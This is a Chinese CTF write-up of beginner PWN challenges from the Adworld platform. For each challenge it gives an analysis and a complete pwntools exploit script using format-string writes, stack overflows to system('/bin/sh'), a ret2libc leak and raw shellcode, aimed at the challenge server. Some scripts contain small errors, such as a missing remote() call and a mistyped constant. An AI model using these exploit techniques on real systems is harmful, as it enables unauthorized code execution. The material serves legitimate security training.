zoukankan      html  css  js  c++  java
  • 攻防世界新手练习题_PWN(漏洞利用)

    攻防世界新手练习题_PWN(漏洞利用)

    https://imlonghao.com/55.html

    0x00 get_shell

     nc 连接得到flag

    0x01 CGfsb

    首先检查保护

     
    image.png

    在进IDA f5,发现将pwnme=8即可得到flag。
    漏洞点:格式化字符漏洞,printf()函数使用不当,造成任意内存读写
     
    image.png

    查看pwnme地址如下,发现它是bss字段定义的全局变量
     
    image.png

    nc连接输入信息为aaaa加很多个控制字符发现pwnme的偏移量为10

     
    image.png

    pwnme地址本身占4个字节再加上4个字符使pwnme==8,得到flag。

    exp:

    from pwn import *
    #p=remote('111.198.29.45',38899)
    p=process('./cgfsb')
    pwnme_addr=0x0804a068
    payload=p32(pwnme_addr)+'aaaa%10$n'
    p.recvuntil('please tell me your name:
    ')
    p.sendline('aaaaaaa')
    p.recvuntil('leave your message please:
    ')
    p.sendline(payload)
    print p.recv() 
    print p.recv()

    0x02 when_did_you_born

    首先查看保护

     
    image.png

    看到birth=1926就可以得到flag,但是过滤了1926,又发现gets()没有对输入检查,可以造成溢出。一直填充到v5,使v5=1926即可得到flag.

     
    image.png

    分别双击v4,v5看到,v4为var_20,v5为var_18,相差了8个字符 ,所以构造payload= payload='a'*8+p64(0x786)

     
    image.png

    exp:

    from pwn import *
    #p=process('./when_did_you_born')
    p=remote('111.198.29.45',47814)
    p.recvuntil("?")
    p.sendline("1925")
    p.recvuntil("?")
    payload='a'*8+p32(0x786)
    p.sendline(payload)
    p.interactive()

    0x03 hello_pwn

    老规矩,先查看文件保护,然后IDA打开


     
    image.png

    如果ift条件为真,进入sub_60106c就可得到flag。


     
    image.png

    进入unk_691968和dword_60106c偏移量为4,并且没有大于read函数的范围限制,所以我们构造payload=‘a'*4+p64(1853186401)就可以覆盖dword_60106c使if为真。
     
    image.png

    exp:

    from pwn import *
    p=process('./hello_pwn')
    p=('111.198.29.45',55581)
    payload = 'a'*4+p64(18533186401)
    p.recvuntil("bof")
    p.sendline(payload)
    p.interactive()

    0x04 level0

    检查保护机制,拖进IDA


     
    image.png

    看到vulnerable_function()函数存在溢出, buf的长度为0x80,但是可以输入0x200的长度。我们F12可以搜素到system和sh字符,得到系统函数的地址。所以我们构造payload在buf后面调用系统函数得到shell。r然后cat flag得到flag.


     
    image.png

    exp如下:
     
    from pwn import *
    p=remote('111.198.29.45',55317)
    #p = process('./level0')
    sys_addr = 0x0400320
    sh_addr = 0x0400596
    payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr)
    p.recvuntil("Hello, World")
    p.sendline(payload)
    p.interactive()

    0x05 level2

    首先查看保护机制,IDA打开


     

    发现溢出点buf,buf的长度为0x88,可输入0x100的长度。通过ELF搜素system和/bin/sh地址,构造payload,得到shell。

    image.png

    exp:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    from pwn import *
    
    context.log_level='debug'
    elf=ELF('./level2')        
    
    sys_addr=elf.symbols['system']  #获取系统函数地址
    sh_addr=elf.search('/bin/sh').next()   #获取'/bin/sh'字符串地址
    payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr)
    
    pwn=remote('111.198.29.45',42668)
    #pwn = process('./level2')
    pwn.sendlineafter("Input:
    ",payload)
    pwn.interactive()
    pwn.close()

    0x06 string

    首先检查保护机制


     
    image.png

    拖进IDA,这道题字符是真滴多,先分析逻辑。根据提示一步一步往下走。看到sub_400CA6函数,只要a1[0]=a1[1]就符合要求,并且发现将V1一个void指针强制类型转换成函数指针并调用了,所以我们将shellcode通过上面的read写入就会得到shell。


     
    image.png

    一直跟回去发现a1[0]=65,a1[1]=85。
    那现在目标明确了,找到漏洞点,在内存中将a1[0]值改为85就找到漏洞点在sub_400BB9的printf函数,格式化字符串漏洞。造成任意地址读写。


     
    image.png

    找到format的偏移量为7。构造payload = "%85d%7$n"。


     
    image.png

    exp:

    from pwn import *
    p = remote('111.198.29.45',49698)
    #p = process('./string1')
    p.recvuntil("secret[0] is ")
    v3_addr=p.recvuntil("
    ")
    v3_addr="0x"+v3_addr[:-1]
    v3_address = eval(v3_addr)
    p.recvuntil("What should your character's name be:")
    p.sendline('Adam')
    
    p.recvuntil('So, where you will go?east or up?:')
    p.sendline('east')
    
    p.recvuntil('go into there(1), or leave(0)?:')
    p.sendline('1')
    p.recvuntil('Give me an address')
    p.send(str(v3_address)+"
    ")
    p.recvuntil("you wish is:
    ")
    
    payload = "%85d%7$n"
    p.sendline(payload)
    
    #shellcode = asm(shellcraft.sh())
    shellcode = "x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x57x54x5ex0fx05" 
    p.recvuntil("Wizard: I will help you! USE YOU SPELL")
    p.sendline(shellcode)
    p.interactive()

    0x07 guess_num

    检查保护


     
    image.png

    IDA打开,逻辑是十次输入的数都要与随机生成的数相等就运行sub_C3E()得到flag,所以我们想办法修改随机数种子,让每次生成的数都一样就可以了。


     
    image.png

    那么我们可以利用的是get函数,对输入没有限制,并且v7与seed的地址是连续的,所以直接覆盖seed。查看V7的长度为32个字节,构造payload = 'a'*32+p64(1)。

    exp:

    from pwn import *
    from ctypes import *
    
    p = remote('111.198.29.45',36915)
    #p = process('./guess_num')
    
    p.recvuntil("Your name:")
    
    payload = 'a'*32+p64(1)
    
    p.sendline(payload)
    //使用ctypes库调用libc.so.6来使用srand()和rand()
    libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    libc.srand(1)
    for i in range(10):
        a = str(libc.rand()%6+1)
        p.recvuntil('Please input your guess number:')
        p.sendline(a)
    p.interactive()

    0x08 cgpwn2

    首先检查保护

     
    image.png

    IDA分析,看到main函数里gets()可以溢出,并且name是在bss上的全局变量。

     
    image.png

    找到system的地址为0x08048420。shift+F12找不到‘/bin/sh’,所以将name输入/bin/sh,再次访问name的值不会变,name的地址就作为sh的地址。现在需要找s的偏移量为38+4。构造payload=‘a'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二个p32里随便输入。

    exp:

    from pwn import *
    
    p = remote('111.198.29.45',56035)
    #p = process('./cgpwn2')
    
    sys_addr = 0x08048420
    sh_addr = 0x0804A080
    
    payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr)
    
    p.recvuntil('please tell me your name')
    p.sendline('/bin/sh')
    p.recvuntil("hello,you can leave some message here:")
    p.sendline(payload)
    p.interactive()

    0x09 int_overflow

    首先检查保护机制

    image.png

    拖进IDA,分析逻辑。发现check_passwd()中v3为int8型,在下面的check中也是检查v3的长度,根据有题目名称,想到v3的大小溢出,int8型最大值为2^8=256,超出之后进行模256的计算。


     
    image.png

    所以我们在输入passwd的时候将输入长度为 [259,263]之间就可以了,再利用后面的strcpy()函数,因为将s复制给dest,看到dest的偏移为0x14+0x04,再搜索sh函数得到sh地址,构造payload = 'a'*(0x14+0x4)+p32(sh_addr)。得到shell。

    exp:

    from pwn import *
    
    p = remote('111.198.29.45',39063)
    #p = process('./int_overflow')
    
    
    sh_addr = 0x0804868B
    
    p.recvuntil("Your choice:")
    p.sendline('1')
    p.recvuntil("Please input your username:")
    p.sendline('Adam')
    
    
    payload = 'a'*(0x14+0x4)+p32(sh_addr)
    payload = payload.ljust(263,'b')
    p.recvuntil('Please input your passwd:')
    p.sendline(payload)
    p.interactive()

    0x10 level3

    首先检查保护机制

     
    image.png

    拖进IDA,很明显的漏洞点,read溢出,但是找不到system,/bin/sh的地址。F12查看字符串。发现 libc start_main。
     
    image.png
    因为system是libc.so动态链接库的函数。而且在动态链接库中函数之间的偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
    首先,利用找到write的真实地址,然后利用这个地址算出偏移量,这里贴个计算libc的工具。找到offest之后,就可以得到system的地址和bin/sh的地址了。

    exp:

    #-*-coding:utf-8-*-
    from pwn import *
    from LibcSearcher import *
    
    #p = process('./level3')
    p = remote('111.198.29.45',48981)
    elf = ELF('./level3')
    
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main_addr = elf.symbols['main']
    
    payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    p.recv()
    p.sendline(payload)
    
    write_addr = u32(p.recv(4))
    
    libc = LibcSearcher('write',write_addr)
    
    offest = write_addr - libc.dump('write')
    
    sys_addr = offest + libc.dump('system')
    sh_addr = offest +libc.dump('str_bin_sh')
    
    payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr)
    p.recv()
    
    p.sendline(payload2)
    p.interactive() 
  • 相关阅读:
    Android入门:Button
    Android入门:部署时的常见错误
    to be
    Android入门:单元测试
    忘记 MySQL 的 root 帐号密码该怎么办
    Eclipse开发build path中jar包部署到应用中
    报告两个bug
    本站导引
    一个用Word做报表设计的报表系统windwardreports
    智能互联网
  • 原文地址:https://www.cnblogs.com/cainiao-chuanqi/p/13564943.html
Copyright © 2011-2022 走看看